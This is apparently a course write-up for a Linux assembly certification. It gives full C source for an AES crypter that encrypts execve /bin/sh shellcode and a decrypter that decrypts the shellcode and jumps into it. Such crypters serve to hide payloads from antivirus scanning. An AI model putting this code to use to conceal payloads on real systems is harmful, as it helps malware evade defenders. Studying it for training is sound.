SLAE Assignment 7: Custom Crypter

07 May 2013

This assignment is the 7th assignment in the SecurityTube Linux Assembly Expert certification exam. The goal was to write your own crypter in any language you wanted. I decided to write an AES crypter in C (I have almost no experience in C). I got a better grasp on C principles (I made some mistakes) and realized how spoiled we are when we are able to use languages like python or java.

Information

Github Repository: https://github.com/cloud101/SLAE32/ This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-­251

Crypter

I found the sourcode for the basic scheme on google which uses mcrypt, it was a gist on github which can be found here. I adapted the crypter so it would encrypt and decrypt our shellcode and made a seperate decrypter to decrypt and run the shellcode. Let's start with the encrypter:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
 * MCrypt API available online:
 * http://linux.die.net/man/3/mcrypt
 */
#include <mcrypt.h>
#include
<math.h>
#include <stdint.h>
#include <stdlib.h>
int encrypt(
    void* buffer,
    int buffer_len, /* Because the plaintext could include null bytes*/
    char* IV,
    char* key,
    int key_len
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}
  mcrypt_generic_init(td, key, key_len, IV);
  mcrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);
  return 0;
}
int decrypt(
    void* buffer,
    int buffer_len,
    char* IV,
    char* key,
    int key_len
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}
  mcrypt_generic_init(td, key, key_len, IV);
  mdecrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);
  return 0;
}
int main()
{
  MCRYPT td, td2;
  unsigned char * plaintext = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  char* IV = "AAAAAAAAAAAAAAAA";
  char *key = "0123456789abcdef";
  int keysize = 16; /* 128 bits */
  /*
   The buffer needs to be a multiple of 16 to work, so you need to puck the multiple closest to the length of your shellcode. Since this shellcode is 25 bytes long,
    our buffer will need to be 32 bytes of length.
  */
  unsigned char buffer[32];
  int counter; 
  int buffer_len = 32;
 /*
 Initialize the buffer and make sure all bytes are set to 0x90, which is nop. This will prevent null bytes coming out of the decrypted
 shellcode and breaking the exploit.
 */
 for ( counter = 0; counter < buffer_len; counter++){
   buffer[counter]=0x90;
  }
  /*
   Now copy the plaintext shellcode to the buffer
  */
  strncpy(buffer, plaintext, buffer_len);
  int plain_len = strlen(plaintext);
  printf("==Plain Binary==\n");
  for ( counter = 0; counter < plain_len; counter++){
    printf("%02x",plaintext[counter]);
  }
  /**
   Encrypt the buffer
  **/
  encrypt(buffer, buffer_len, IV, key, keysize); 
  printf("\n==Encrypted  Binary==\n"); 
  for ( counter = 0; counter < buffer_len; counter++){
   printf("\\x%02x",buffer[counter]);
  }
  /**
  Decrypt the buffer
  **/
  decrypt(buffer, buffer_len, IV, key, keysize); 
  printf("\n==decrypted  Binary==\n");
  for ( counter = 0; counter < buffer_len; counter++){
    printf("\\x%02x",buffer[counter]);
  }
  printf("\n");
  printf("Shellcode Length:  %d\n", strlen(buffer));
  int (*ret)() = (int(*)())buffer;
  ret();
  return 0;
}

The encrypter will take the shellcode and encrypt it with AES, note the this implementation takes a static IV, I did this to simplify the algorithm, normally this should be randomly generated. After it is encrypted it will print the shellcode in its plain, encrypted and decrypted form (as verification we also print the decrypted form and execute it): encryption We paste the encrypted shellcode into the decrypter: dec1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
 * MCrypt API available online:
 * http://linux.die.net/man/3/mcrypt
 */
#include <mcrypt.h>
#include
<math.h>
#include <stdint.h>
#include <stdlib.h>
int decrypt(
    void* buffer,
    int buffer_len,
    char* IV,
    char* key,
    int key_len
){
  MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
  int blocksize = mcrypt_enc_get_block_size(td);
  if( buffer_len % blocksize != 0 ){return 1;}
  mcrypt_generic_init(td, key, key_len, IV);
  mdecrypt_generic(td, buffer, buffer_len);
  mcrypt_generic_deinit (td);
  mcrypt_module_close(td);
  return 0;
}
int main()
{
  MCRYPT td,td2;
  char* IV = "AAAAAAAAAAAAAAAA";
  char *key = "0123456789abcdef";
  int keysize = 16; /* 128 bits */
  /*Encrypted Shellcode*/
  unsigned char buffer[] = "\x5c\xd8\xcf\x9e\x8f\x3a\x9f\x52\x2e\x3d\x51\x06\x00\xde\xa6\x64\x45\x5f\x62\x53\x75\xab\xbd\xe1\x33\xc1\x69\xbf\xed\xc8\x5c\xaa";
  /*Length of the Shellcode*/
  int buffer_len = 32;
  int counter;
  /** Decrypt the shellcode **/
  decrypt(buffer, buffer_len, IV, key, keysize);
  /** Run the shellcode **/
  printf("Shellcode Length:  %d\n", strlen(buffer));
  int (*ret)() = (int(*)())buffer;
  ret();
  return 0;
}

After we compile and run the decrypter we run it and our shell gets executed: dec2